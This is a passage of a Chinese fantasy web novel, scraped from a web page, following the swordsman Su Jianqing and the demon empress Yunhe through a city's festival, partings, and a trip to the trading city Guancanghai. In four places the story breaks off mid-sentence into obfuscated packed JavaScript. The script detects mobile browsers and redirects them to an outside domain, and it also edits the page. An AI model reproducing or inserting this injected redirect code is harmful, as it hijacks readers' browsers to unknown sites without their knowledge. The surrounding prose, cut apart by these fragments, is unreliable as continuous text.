苏见清回忆起初入无忧阁的情形。 白日里的客人数量不多,但也有数十,夜里修士更是上百。 加春姑娘……可真是奇女子。 他轻咳一声,不再言语。 碎金挠侧脸,生硬转移话题,“我虽有修为,但习的都是些疗伤防御的术法,加之安逸多年,疏忽之下竟连自己的本体被人抢夺都不知。” 说到后面,碎金话里不乏自嘲,“这次枫泠城遭此大劫,我责任最大。” “那些魔修防不胜防,碎金城主何必自怨自艾?” 曲江篱走进来,安慰道:“就算你提前洞察,以魔修的残忍,最后都会是一样的结果。” 碎金苦笑,“曲仙子说得是。” 曲江篱转向苏见清,“苏公子,你可算醒了。你昏迷那日可把我们都吓坏了。” 苏见清对一旁的巫弃颔首致意,耐心听着曲江篱说话,视线却不由向外飘。 曲姑娘声音那么大,以她的修为应当早就听见了。 可直到眼下,她也未曾露面。 “对了苏仙君。” 苏见清偏头望碎金,“怎么了?” 碎金抿唇,“魔镜破碎后有东西掉出来,有几件看着像是仙门之物。” 苏见清沉默许久,“可否让我一观。” 碎金抬手,几件物品落在掌心。 是两把剑,三个芥子囊。 苏见清眸光暗淡,“是我师兄之物。碎金城主,多谢。” 指尖在剑鞘上轻轻拂过,他轻声道:“我会带他们回伏渊。” 34. 第 34 章 苏见清躺了半个月,总算是能下榻了。 伤好后,他立即帮助枫泠城百姓修建城池,又过了半个月,碎金站在城门前,落下护城大阵的最后一笔,宣告枫泠城再建完成。 百姓们的欢呼声响彻天际,曲江篱拉着巫弃又蹦又跳,听得耳畔的笑声与哭声,苏见清嘴角轻轻勾起,视线在人群中巡睃。 城楼上的碎金宣布今夜将举办庆典,人群再度沸腾,苏见清在人头攒动间,依稀捕捉一抹青色倩影。 他追了两步,目光轻扫,眸里已经没了那抹青色。 …… 百香楼的掌柜幸运地在这场劫难中存活下来,他重新建了一座百香楼,并免费邀请苏见清、曲江篱和巫弃入住。 新建的百香楼格局摆设与之前一模一样,走在其中,有种仿佛甘巍从未祸害过枫泠城的错觉。 夜里有庆典,楼内很是清净,苏见清寻到掌柜的,还未开口,他便热情道:“仙君可是饿了渴了?今日后厨无事,仙君想吃什么,我立刻去吩咐。” “不必。” 苏见清拦下掌柜的,“我是想借厨房一用。” 掌柜的一拍大腿,“小事!别说是借厨房了,仙君哪怕是想抢厨房,也不过是一句话的事,我立马双手给仙君奉上。” 苏见清:“……” 着实夸张了。 好端端的,他抢厨房作甚?知道这是掌柜的在对他表示感激,苏见清并未多说,只颔首道谢,“多谢。” 掌柜的笑开了脸,亲自送苏见清进入厨房,并亦步亦趋跟着他打下手,顺便偷学两招。 他还是没放下用厨艺给自己找个实力强大仙子的小心思。 这次是他运气好,没有当场变成一具枯骨。下次要是再遇到魔修,有个靠山能活命的机会更大些,他心里也安心啊。 苏见清在厨房待了整整一个下午,等到日落西山,这才走出房门。 夜色将临,天空被分为两部分,一边霞光似锦,绚烂多姿;一边青黛当空,深沉幽远。 城中红枫除了碎金的本体,其余皆毁于一旦。好在碎金留有种子,这种普通灵树种子可有术法催生,将种子一撒,术法一施,满城红枫拔地而起,竟与初次进城时一般无二。 如今枫树轻晃,风铃叮当作响,鼻间清新,好不惬意。 苏见清告别掌柜的,独自走上屋顶。 他将备好的吃食一一摆好,轻声道:“这糕点趁热吃最好,若是凉了,难免影响口感。” 无人应答。 苏见清也不气馁,一道道介绍,“这道鸡汤选用的是百香楼内最好的灵鸡,甫以十多种材料,用文火熬制三个时辰而成,肉质软烂,鸡汤鲜美。” “这道红烧鱼用的是枫泠城独有的红白华鲤,刺少肉多,肉质鲜嫩,麻辣爽口。” “这道烤鸭……” “行了行了。” 不耐女声打断苏见清的话,他抬眸,只见面前绿光微闪,青色翎羽与其上的姑娘闯入眼中。 她今日穿着天水碧色的衣裙,裙摆层层叠叠,如花似浪。发间一支碧绿竹簪,簪头流苏垂落,在姑娘莹白耳尖打转。 她面色不耐,似对他的出现很是厌烦,语气冷硬问:“你想干嘛?” 苏见清凝向蕴禾眉心,郑重道:“我想向阿蕴姑娘道歉。” 蕴禾轻抬羽睫,一脸困惑,“向我道歉?” “是。” 苏见清颔首,“那日姑娘想护我性命,虽事出有因,但终归是我不识好歹,拒绝了姑娘好意。” 手指一拂屋顶菜肴,他温声道:“这些是赔礼,希望能得阿蕴姑娘谅解。” 蕴禾眉梢微动,立即压眉,装作毫不在意的模样,冷讽道:“这些就想买我原谅?” 苏见清:“往后姑娘想吃什么只管吩咐,苏见清绝无二话。” 蕴禾终是笑了,两眼放光望向散发着香味的菜肴,屈尊降贵步下青羽,缓步在苏见清对面落座。 她理直气壮吩咐,“我要吃那个。” “好。” 苏见清低眉顺眼为蕴禾剃鱼刺,将在汤汁中蘸过的嫩白鱼肉放入碗里,递给蕴禾。 蕴禾接过碗筷,迫不及待尝了一口,眼睛当即亮起。 这人别的不提,做饭的手艺是真的上佳,十分和她心意。 吃完鱼肉,蕴禾又指挥苏见清为她剃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884596|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉夹菜,后者毫无怨言,舒舒服服伺候妖皇大人用膳。 报复过后,蕴禾慢条斯理喝着鸡汤,陡然问道:“你怎么知道我在这儿?” 上次苏见清发现,阿蕴姑娘好像对他的性命格外在乎。虽对此事很不解,但阿蕴姑娘说过,她救下他的命,那他这条命便是她的。阿蕴姑娘虽看着散漫,但纵观行事,却自有一股霸道,苏见清便信以为真。 他并不知她身在何处,但她既在乎他的命,或许会生气,但可能不会走远,应是隐在暗处不愿现身。 今日这一趟苏见清并无把握,没想到她竟这么容易就出现了。 和云团一样有点好哄。 听苏见清徐徐揣摩完她的心思,蕴禾冷哼,说不清是称赞还是嘲讽,“你倒是聪明。” 苏见清无奈苦笑。 蕴禾又舀了勺鸡汤,慢声道:“伏渊究竟是怎么教你的?” “嗯?” 蕴禾咽下鸡汤,微微眯眼,“心软又悲观,整日想着去送死。” 苏见清沉默须臾,轻轻一笑,“阿蕴姑娘觉得不好吗?” 蕴禾对下方正布置庆典的百姓一点下巴,“对他们来说是好事。对你就不好说了。” 苏见清顺着她所指方向看去。 那是对男女,修为不高,不过练气而已,他们说笑着用灵力挂上花灯,牵着手一同奔赴下一地点。 苏见清眸色柔和目送二人离去,轻声开口,“我自幼得师尊教诲,要心怀慈悲,心有苍生,除魔卫道,护卫玄清。身为师尊的弟子,我自该继承他的意志,与千千万万同门一道,成为这些百姓的守护者。” “这是我的信念,是我存在的意义。我不怕死,只怕自己死得毫无价值。” 蕴禾听了不屑一顾,懒懒地又舀了勺鸡汤,“你倒是对你的师尊很是信服。” 苏见清眸光软下,“我尚在襁褓时便被师尊接到身边,他对我亦师亦父,是我极为重要之人。” 苏见清偏头,清澈眸光锁住蕴禾,“阿蕴姑娘呢?又是如何养成了这般性子?” “啪嗒。” 瓷勺撞上碗壁,蕴禾嫣然一笑,恶气森森道:“杀出来的。” 35. 第 35 章 蕴禾对苏见清的烂好心嗤之以鼻。 多年前的妖域混乱不休,械斗争纷数之不尽,若是敢有心软的念头,只怕她早就被别的妖吞吃入腹,哪还有今天的妖皇? 时至今日,蕴禾依旧不是个慈悲的王者,心怀不轨的,不过是一个死字。 短短四个字将苏见清震住,蕴禾轻飘飘瞥他,在心里嗤笑一声,慢条斯理喝着鸡汤。 片晌,苏见清道:“我曾听家中师长谈起,五十年前妖皇式微,诸位妖王龙争虎斗,将妖域搅得一团乱,阿蕴姑娘也是那时出生的?” 蕴禾没应声。 苏见清便懂了,轻声开口,“阿蕴姑娘能修得一身本事,应该吃了很多苦吧?” 蕴禾喝汤的动作一顿。 “未经他人苦,莫劝他人善。” 苏见清郑重其事对蕴禾行了一揖,“阿蕴姑娘,是我错了。” 蕴禾回神,鼻尖一声轻哼,“你有什么错?” “那日姑娘不愿相救,我心中实有不解隐怒,今日方知当时的自己是何等幼稚。我欠阿蕴姑娘一声歉。” 蕴禾喝完最后一口汤,将汤勺一扔,挥手放下汤碗,手掌懒洋洋往后撑,斜睨着苏见清,“现在说得这么好听,下次再遇上这种情况,我若不救,你可别再来兴师问罪。” 下次? 苏见清心中一动。 阿蕴姑娘的意思是,接下来的路,她还会与他同行? 剑修坐于屋顶上,一腿曲起,一腿打直,偏首凝望身侧的姑娘,嘴角抿出一点笑意,“不会。” 最后一抹霞光在西边散去,天色暗下,枫泠城内华灯初上,成片花灯亮起,似一条璀璨星河。 “哇!快看!” 夜幕之中一朵烟花轰然爆开,紧接着,无数朵烟花绚烂绽放,将夜空照得仿若白日。 百姓们的欢呼声似浪潮涌来,拍打在苏见清与蕴禾耳侧。 “苏公子,你怎么跑上面去了?” 楼下,曲江篱踮着脚尖对苏见清招手,视线一转,她惊喜出声,“阿蕴姐姐,你也在!” 蕴禾懒懒对她招手,并未回复。 曲江篱笑着热情邀请,“外面可热闹了,我和阿弃准备去看看,你们要不要一起?” 在她身旁,巫弃淡笑颔首。 苏见清询问:“阿蕴姑娘可想去?” 蕴禾淡声反问:“我不去,你就不去了?” 苏见清抿唇笑笑不语,看样子似乎就是这么想的。 蕴禾哼笑一声,起身对楼下二人道:“走吧。” 曲江篱欢呼雀跃,“阿蕴姐姐快来。” 蕴禾往下跳,裙摆似层叠幽昙,一瞬绽放。 苏见清收好屋檐上的东西,随她跃下。 四人会和后一同在枫泠城内闲逛。偶有认识几人的百姓,纷纷递上花果相谢。 “苏仙君,这是自家种的瓜,可甜了,你快尝尝。” “巫仙君,我见曲仙子爱吃零嘴,这是家里炸的果子。” “仙子姐姐,这束花送给你!” 一个女童抱着大束灵花,一股脑递给曲江篱。 “诶?” 曲江篱望着跑远的女童,抱着花和她笑盈盈对她挥手,“谢谢你啊小妹妹!” 蕴禾两手空空落在最后,百无聊赖地看着苏见清面色微红收下百姓们的心意,无趣撇嘴。 视线里突然出现一束包扎完整的花。 那花颜色鲜艳,用术法引来蝴蝶,花开正艳,蝶影成趣,倒是有些巧思。 她神色莫名望向面前的小姑娘。 小姑娘十三四岁的年纪,生得倒是清秀可人,只是稍显稚嫩,紧张地抱着花递给她。 “仙子,这是给你的。” 蕴禾意味不明勾唇,“我可不是什么仙子。” 小姑娘眨眨眼,改了称呼,“妖君大人,这花是献给您的。” 蕴禾勉强满意,“给我作甚?” “我都看见了,若不是妖君大人杀了那个大魔头,枫泠城早就毁了。” “我可没想救你们。” 蕴禾神色淡淡。 “可是妖君大人就是救了啊。” 小姑娘把花放在蕴禾怀里,眉眼弯弯,“妖君大人,祝您有个愉快的夜晚。我娘亲在等我,我先走啦!” 她转过身小跑离开,飞扬的发带可见其愉悦的心情。 蕴禾垂首。 怀里的灵花似是刚摘下来的,花瓣上浸着水珠,娇艳欲滴,鲜艳美丽。 她本想把花扔了,可忆起方才那小姑娘笑弯的眉眼,握着花的手一紧。 “阿蕴姑娘。” 苏见清偏头唤她。 鬼使神差的,蕴禾将花收入储物手链,故作无事回望,“怎么?” 苏见清并未看出异样,“此处人太多了,我们往那边走。” 蕴禾“哦”了一声,随着苏见清三人步入小巷。 此处人影稀疏,但也没什么热闹可看,曲江篱望来望去,突发奇想指着一处房顶,“不如我们上去吧,就像苏公子和阿蕴姐姐一样。” 巫弃一向唯她是命,自无不愿。蕴禾与苏见清皆是无所谓。 四人上了房顶,曲江篱挨着蕴禾与巫弃,苏见清坐在蕴禾另一侧。 晚风吹拂,衣袂翩翩。此处地势高,坐在房顶往下看,正好能瞧见城中万灯齐绽的盛景。 曲江篱捧着脸“哇”一声,“好漂亮。” 苏见清为两个姑娘取了壶果饮,蕴禾举杯浅抿,随口道:“你在枫泠城逗留这么久,还不回去?” 巫弃心脏一跳,偏头看她。 曲江篱毫无所觉,笑道:“我们还没游玩完呢!我和阿弃要去……要去哪儿来着?” 她向巫弃求证。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890520|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“桑若城。” 巫弃自然接话,“十年一度的群英会将要开启,我和江篱正好去凑凑热闹。” “群英会?” 见蕴禾不解,苏见清主动解答,“是玄清域各大仙门世家为化神以下,五十岁以内的修士举办的一次斗法,奖励丰厚,魁首甚至还能对诸位大能提出一个条件。” “哦。” 蕴禾没什么兴趣,又喝了口果饮。 苏见清称赞一句,“巫道友能力出众,定能在群英会中取得好名次。” 巫弃温和弯唇,漫天星光下,紫异双眸隐泛笑意,偏头时眸底深处有什么情绪一闪而过。他对苏见清举杯,“那就借苏道友吉言了。” 苏见清与他碰杯,仰头喝下果饮。 “哇!阿蕴姐姐你快看!好多孔明灯!” 曲江篱蓦地拉住蕴禾袖子,兴奋指着徐徐上升的孔明灯。 夜色下,一盏盏散发着暖黄灯光的灯笼升起,数不清的灯笼迎向青墨色的夜空,宛如坠落人间的星子终于找到了归家的路。 孔明灯越来越近,暖黄的光映照在蕴禾脸上,眉眼似被灯火重新勾勒过,疏懒中散发着柔和。 曲江篱兴奋提议,“我们也去放孔明灯吧!” 蕴禾视线移转,从苏见清面上扫过。 他似吃了一惊,悻然垂首。 巫弃应:“你在此处等我,我很快就回。” 曲江篱笑着催促,“你快去!” 巫弃回来得很快,他买了四个孔明灯,曲江篱将之分完,从须弥戒中取出笔墨,兴致勃勃地写下愿望。 巫弃在一旁看着,将自己的孔明灯也递过去,“我的也给你写。” 曲江篱笑盈盈道:“那我可就不客气了。” 苏见清也取出笔墨,偏首问道:“阿蕴姑娘可要写?” 蕴禾:“无聊,不写。” 苏见清笑了笑,并未多言,提笔认真书写。 【惟愿亡者瞑目,来世无忧。】 落笔后,他点燃灯火松手,注视着孔明灯飞向夜幕。 蕴禾往上瞥一眼,抬手也放了自己的孔明灯。 两盏灯笼一道摇摇晃晃往上飞,融入明亮灯海中。 耳畔,曲江篱拉着巫弃兴奋大叫,“阿弃,我的灯笼飞得比你高!” 巫弃耐心回复,“嗯,你比我厉害。” “哈哈哈!” 姑娘的笑声随风传荡,苏见清立于原地,抬首望向头顶灯海。 蕴禾扯着衣裳上的带子玩,浅浅勾唇,蓦地抬手一挥。 灵韵强势地占据了半边天空,无数流星从空中坠落,瀑布般落于城中,簌簌然落在百姓掌心。 苏见清偏首看她。 漫天孔明灯下,姑娘的眉眼被渲染得温柔宁静。 百姓们的欢呼声萦绕耳侧。 天灯赐福,予满城安乐。 36. 第 36 章 枫泠城事毕,巫弃与曲江篱踏上前往桑若城的路,苏见清也准备启程回伏渊。 离开那日,掌柜的伤心不已,哭得一把鼻涕一把泪,就差没抱着苏见清的腿拦着不让他走了。 苏见清无奈,为他留下一本菜谱,趁着掌柜的欣喜之余,快步离开百香楼。 没想到,城门口早有人在等候。 加春站在碎金身旁,似在数落什么,后者低眉顺眼,一脸逆来顺受。 他蓦地抬头,笑着对几人道:“苏仙君,妖君大人,巫仙君,曲仙子。” 曲江篱好奇,“城主是在等我们吗?” “是啊。” 碎金道:“几位拼死护住我枫泠城,无论如何,我都该送你们一程。” 他躬身行大礼,“惟愿诸位此行一路顺遂,仙途坦荡,得证大道。” “城主不必多礼。”巫弃温声道:“我与江篱不过随手相帮。” 碎金看得出来,主要是曲仙子想帮忙,这位巫仙君不过是对她言听计从。 他笑了笑,送出四片枫叶,“这叶子中含有我本源之力,能在紧要关头将实力恢复至全盛时期。若是用不着,也可将之吸收,对修炼大有裨益。” 曲江篱举着枫叶仰头看,叶脉中偶有灵光闪过,便知非凡品。 巫弃跟着看了眼。 苏见清合掌,握住手中枫叶,“多谢城主。” 碎金摆手,“与诸位相比,不值一提。” 觑了眼蕴禾,他递出掌心芥子囊,恭敬道:“这里是我所获的一些妖族之物,还请妖君收下。” 蕴禾打量一眼,手指一勾,一颗流光溢彩,足有拳头大的紫色珠子从芥子囊中飞出。 “就这颗鲛珠有点意思,别的就算了。” 碎金没想到竟保全了自己的宝物,大喜之下乐滋滋道:“让妖君喜欢是它的荣幸,也是我的荣幸。” 谄媚的模样让加春没眼看。 走到碎金身旁,她一笑,眼角便有媚意泄出,美得勾魂夺魄,“我也没什么好东西,就送各位一朵花吧。” 四朵一模一样的粉牡丹落于众人身前,加春笑道:“这牡丹包含五蕴,因人而施,诸位如何用它,它能使出什么作用,需要你们自行探索。” “多谢。” 碎金言行郑重,“往后我会督促城中修士修炼,往后若是再遇此事,好歹能有战力抵挡一二。诸位,后会有期。” 苏见清颔首,“后会有期。” 曲江篱笑着挥手,“碎金城主,加春姐姐,我们后会有期!” 巫弃温和点头,带着曲江篱飞离枫泠城。 苏见清御剑,蕴禾坐上青羽,跟在他身后晃晃悠悠离开。 碎金和加春目送四人远离,忽地长叹一气,“往后咱们可是没好日子可过了。” 加春斜他,“那是你,关我什么事。” 碎金不服,“你好歹也算是个副城主,不该出力督促修士修炼?” “这不有你吗?” 加春无所谓道:“好了,我约了小郎君游湖,没事别打扰我。” 碎金气极,“你眼里除了美貌郎君还有什么?诶,你给我站住,加春!加春!” 清风徐徐而过,吹拂姑娘发梢,她脚步不停,走得更快了。 碎金气急败坏追上去,碧兰苍穹之下,成片红枫似火热烈,风过无痕,唯有树上风铃脆声作响。 枫叶簌簌飘落湖面,湖面清风一荡,它随风漂流,划开层层涟漪,默默聆听湖边有情人低语。 …… 离开枫泠城,巫弃曲江篱蓦地停下。 他们乘坐的乃是一把扇子,扇子通体水蓝,其中似有水波涌动。巫弃在前方驱使,曲江篱坐在后面,笑着对二人招手,“阿蕴姐姐,苏公子,我们走啦!期待下次见面!” 蕴禾点头,意有所指,“玩完了早日归家,别让家人担心。” 曲江篱嘻嘻哈哈道:“我知道的!” 巫弃不经意看了蕴禾一眼,微笑颔首,“苏公子,阿蕴姑娘,再会。” “再会。” 二人身如流光,转眼已至十里之外。 巫弃提醒,“江篱,那位阿蕴姑娘好像看穿了你的身份。” 曲江篱毫不在意摆手,“嗨呀,看穿就看穿嘛,有什么大不了的。” 巫弃拧眉,“倘若她对你不利……” 肩上蓦地有温软靠近,巫弃身体僵硬,剩下的话迟迟未出口。 曲江篱下巴搁在巫弃肩头,和他挨得很近,笑言:“阿弃,你担心太多啦。阿蕴姐姐一看就是妖王级别的妖,说不准比爷爷还厉害,她怎么能看上我?” 巫弃大脑一片空白,仓促出声,“嗯……” 曲江篱歪了下头,脑袋抵着巫弃后肩,“不过我怎么没听说过阿蕴姐姐的名字呢?” 巫弃缓过神,“或许是她不喜权势争纷,不愿出名。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895172|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说得也是。” 曲江篱又笑,“咱们快走,争取早日到桑若城,也不知城中是何模样,有没有好玩的地方。” 巫弃勾唇,眸色微沉,“好,咱们快些到桑若。” …… “你要回伏渊?” 蕴禾半躺在青羽上,从储物手链中拿出果子在啃,随口问道。 苏见清摇头,“我要去趟观沧海。” “去哪儿作甚?” “有个师姐帮了我一个忙,我离开伏渊前,她拜托我去观沧海替她买龙牙晶。” 蕴禾若有所思。 苏见清相熟的师姐唯有胥绿真,东西是她要的? 脆声响起,蕴禾又咬了口果子,含糊道:“那就走吧。” 话音方落,她率先驱使青羽飞走。 苏见清正要跟上,忽见前头的姑娘停下,青羽翻了个面,她理直气壮吩咐,“我不认路,你走前面。” 苏见清一怔,旋即失笑,道了声“好”,御剑飞往观沧海。 …… 观沧海三个字听起来像海,但实则是座城。其比邻沧海,临海而居,城内人个个都是凫水的高手。 观沧海衣着颇具特色,姑娘们多用珍珠、珊瑚做首饰,迎面走来一名妙龄女子,发间珍珠作帘,硕大白珠缀在眉心,珠光映着炯炯神光,格外吸人眼球。 蕴禾收回视线,以手作扇在鼻尖扇两下,连声催促,“快走。” 她嗅觉灵敏,闻着空气中的海腥味颇觉不适。 苏见清:“好。” 他们去了观沧海内的珍宝阁。此处是玄清域最大的交易场所,七层高楼几欲破天,每层设有屋脊兽,个个都散发着强大的气息。 一层大如市集,从外看琉云璃彩,瑰丽绚烂,实不负珍宝阁之名。 珍宝阁的生意遍布玄清域,其背后东家极为神秘,此人能耐如此大,可见也不是什么无名小卒。 步入珍宝阁,第一眼见的是琳琅满目的商品,再是接待来客的美貌少女。姑娘们个个佩戴珍珠,衣着光线,笑容灿烂。 不等一名姑娘近前,苏见清已带着蕴禾上了四楼。 此楼专卖各种珍稀宝石材料,一眼望去五光十色的,璀璨耀眼。 蕴禾好奇巡睃,苏见清对走上前的姑娘道:“劳烦,敢问龙牙晶在何处?” 侍女笑容微顿,缓缓摇头,“仙君见谅,楼内龙牙晶已经售罄。” 37. 第 37 章 苏见清意外,“没了?” 侍女点头,“可真是不巧,近日城中龙牙晶被人大肆收购,连我们这珍宝阁内的也被全部买走。” “不知买走龙牙晶的是何人?” 侍女笑,“这奴婢倒是不知。” 苏见清沉吟片刻,“这龙牙晶何处能得?” 侍女:“龙牙晶产自沧海内一处名为碧落潮的海域,其内多暗礁,周围时常有妖兽聚集,险象迭生,哪怕是金丹后期的修士去了,也无法全身而退。” “每月二十,碧落退潮,礁石露出海面,依稀可见海底的龙牙晶。那个时候,是采摘的最佳时机。仙君若是想去试试,可提前准备。” 苏见清道谢,“多谢解惑。” 他对侍女颔首,带蕴禾离开珍宝楼。 观沧海极大,苏见清几乎将整座城售卖宝石材料的店铺逛了个遍,果不其然,并无龙牙晶。 蕴禾问:“你准备怎么办?” 苏见清:“自然是留下。” 蕴禾伸着懒腰,偏首疑声,“离二十还有五日,你不急着回伏渊?” 苏见清摇头,“我答应了师姐,会将龙牙晶给她带回去。师尊若有疑问,便道路上遇见魔修,耽搁了几日。” 蕴禾哼笑,“好啊,你现在都会说谎敷衍了,这就是你说的将玄陵视为亲父?” 苏见清低咳,羞赧垂睫,“偶尔一次。就算是真父子也有互相欺瞒的时候,一个微不足道的小谎,师尊不会介意。” 蕴禾没见过玄陵,不知他是何秉性,不过从上次苏见清回去受一身伤可知,此人端肃严正,眼里容不得沙,对于他会不会介意苏见清的隐瞒,蕴禾持保留态度。 耸耸肩,蕴禾道:“先找个地方落脚。” 苏见清:“好。” 登上妖族皇位后,蕴禾处事态度转变极大,颇有些耽于享乐。之前打打杀杀的日子是形势所迫,如今都成皇了,没道理再委屈自己。 她在妖族住的用的都是最好的,跟了苏见清之后生活质量急遽下降。在枫泠城住在百香楼那是因为苏见清,当下无论如何蕴禾也不肯委屈自己,直接带着苏见清去观沧海内最好的客栈要了两间上房。 和掌柜的说完,蕴禾退到一旁,苏见清极有眼色递上灵石,得到蕴禾一个不错的眼神。 苏见清笑了下,指腹摩挲着芥子囊。 他的灵石还是在枫泠城猎杀妖兽所得,对他来说算是一笔巨款,但阿蕴姑娘选的客栈住宿和餐食都不便宜,不一定能撑五日。 苏见清默默地想,明日又该想法子赚取灵石了。 二人一前一后上楼。 此间客房极具当地特色,推门进去,只见屋内各色小鱼凭空游荡,身形灵动,色泽鲜亮,应是用某种秘法所制。 屋内各处用贝壳、海螺、珊瑚、珍珠装点,床榻竟是个巨大贝壳,壳上流淌着五彩光华,绚烂多彩,瞧着竟像是海族居所。 蕴禾好奇地坐上去,触感柔软,弹性足,还挺新奇的。 她打了个哈欠,慢悠悠躺上去,闭目小憩。 因传承功法所致,蕴禾从不做梦,可这次睡着后,她迷迷糊糊觉得自己好像梦见了什么。 隔着雾的一张张脸在眼前掠过,她分明看不清模样,内心却清晰地知道他们都是何人。 一个称呼堵在嘴边,蓦地一声响动,蕴禾猛然惊醒,霍地翻身而起。 她沉着脸挥开房门,“进来。” 苏见清端着饭菜进门,瞧见蕴禾难看的脸色,眉心一皱,“阿蕴姑娘怎么了?” 蕴禾问:“你那屋子和我的有什么不同?” 苏见清环视客房,摇头,“除了某些细节,大体相似。” “在这榻上休息了?” “冥想了片刻。” “可有入梦?” 苏见清摇头,“并无。” 他试探问:“阿蕴姑娘可是做了噩梦?” 蕴禾揉弄太阳穴。 既然和这屋子无关,那就是她自己的原因了。 过去这么久,哪怕是当年,她都未曾梦见过他们,今日是怎么回事? 沉闷地坐在榻上看苏见清摆膳,香味钻进鼻腔,逐渐驱散那点子郁气,蕴禾舒了口气。 她走到桌边坐下,接过苏见清递来的玉箸,瞟一眼桌上菜肴。 观沧海临海,此地居民多食海物,烹饪方式多样。蕴禾来了兴致,夹了块鱼肉放进嘴里。 她微顿,又夹了块。 苏见清坐在对面为她剥虾,“听跑堂说,这种虾肉质极为鲜甜,阿蕴姑娘尝尝?” 蕴禾吃了一个,眼睛微亮,矜持道:“不错。” 见她终于露出笑颜,苏见清笑笑,继续剥虾。 一顿饭吃完,蕴禾神色虽有好转,眉眼却始终蕴着一股郁气,苏见清提议,“离天黑还有一个时辰,阿蕴姑娘可要出去逛逛?” 蕴禾可有可无点头,“可。” 出去转转也好,免得她在房里越闷越烦。 二人一道离开客栈。 城内很是热闹,小童追逐游鱼,留下一串清脆笑声。街道两侧商铺林立,精美商品看得人目不暇接。 姑娘们相约在铺子里穿梭,离开时或是发间多一朵珠花,或是腰上缠绕玉环。 漂亮姑娘的确能让人心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907458|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愉悦,蕴禾懒懒看着一名姑娘从成衣铺前走过,笑容似海棠初绽,娇美秀妍。 苏见清蓦地出声,“阿蕴姑娘也想试试?” 蕴禾:“什么?” 顺着他的目光看过去,是那间成衣铺子。 蕴禾:“我不缺衣裳。” 苏见清:“女为悦己者容,观沧海衣饰新奇漂亮,阿蕴姑娘哪怕不缺,买几身穿着心情也好。” 蕴禾目光新奇,每每她觉得苏见清呆闷时,他总能说出让她意外的话。 从外往里看,成衣铺子里的衣裳的确新奇又好看,蕴禾被他说得起了兴,眉梢一扬,“那就走吧。” 苏见清浅浅勾唇,落在她后头。 进了铺子,两名梳着双髻,发上缠绕珍珠链子的姑娘迎上来,笑盈盈围着蕴禾介绍店内衣物。 “姑娘生得这么漂亮,穿上这件粉色鲛纱广袖流仙裙一定更好看。” “这件胭脂色的也好看,衬得姑娘肤色越发白皙,比蚌里的珍珠更显玉润。” “哇!还有这件水蓝色的,姑娘,你真的太美了!” “这件这件,这件鹅黄色,活泼又俏皮,我的天,我从未见过这么漂亮的姑娘!” 蕴禾逐渐迷失在一声声夸赞里,头脑一热,直接让人将试过的衣裳全包好。 苏见清摇头失笑,转身去结账。 买完衣裳,两个姑娘让蕴禾选一身当场换上,随后将她按坐在妆台前,笑盈盈道:“姑娘,我们给你上妆。” 两人互相配合,很快替蕴禾换了妆容。 苏见清看着镜子里的姑娘略有失神。 她身着粉色广袖流仙裙,领口袖口皆镶嵌珍珠,粉白腰封勾勒细腰,墨发被编成辫子盘在脑后,剩余一绺垂落前肩。 白粉珍珠链子缠绕发间,眉心一颗水滴状宝石,眼尾缀着珍珠花钿,清灵秀丽,顾盼生辉。 “想什么呢?” 镜中的姑娘走到面前,苏见清回神,斜眼看一旁挂在衣桁上的外裳。 摇头低声,“没什么。” “没事就走吧。” 蕴禾从苏见清身边走过,衣上珍珠在他手背轻触,剑修手掌微动,回味微凉触感。 他停驻须臾,大步追上蕴禾。 身后姑娘热烈相送,“姑娘,下次再来啊。” 挥了挥手,蕴禾与苏见清并肩而行。 “接下来去哪儿逛?” 蕴禾眼珠转动,指向某处,“那边。” “砰——” 手刚抬起,正前方一名女子蓦地摔倒在地,泪水涟涟的双眸正对着蕴禾的方向。 蕴禾:“……” 38. 第 38 章 周围行人的目光不约而同朝蕴禾射来,她噌地收回手,否认道:“不关我事!” 有姑娘发出善意的笑声,“姑娘不用紧张,我们知道与你无关。” 蕴禾不自在地摸鼻子。 这时,有人将摔倒的女子扶起,她抬头道谢,双瞳剪水,玉面似白璧,发间珍珠长流苏垂坠,温柔有光泽,竟是个罕见的美人。 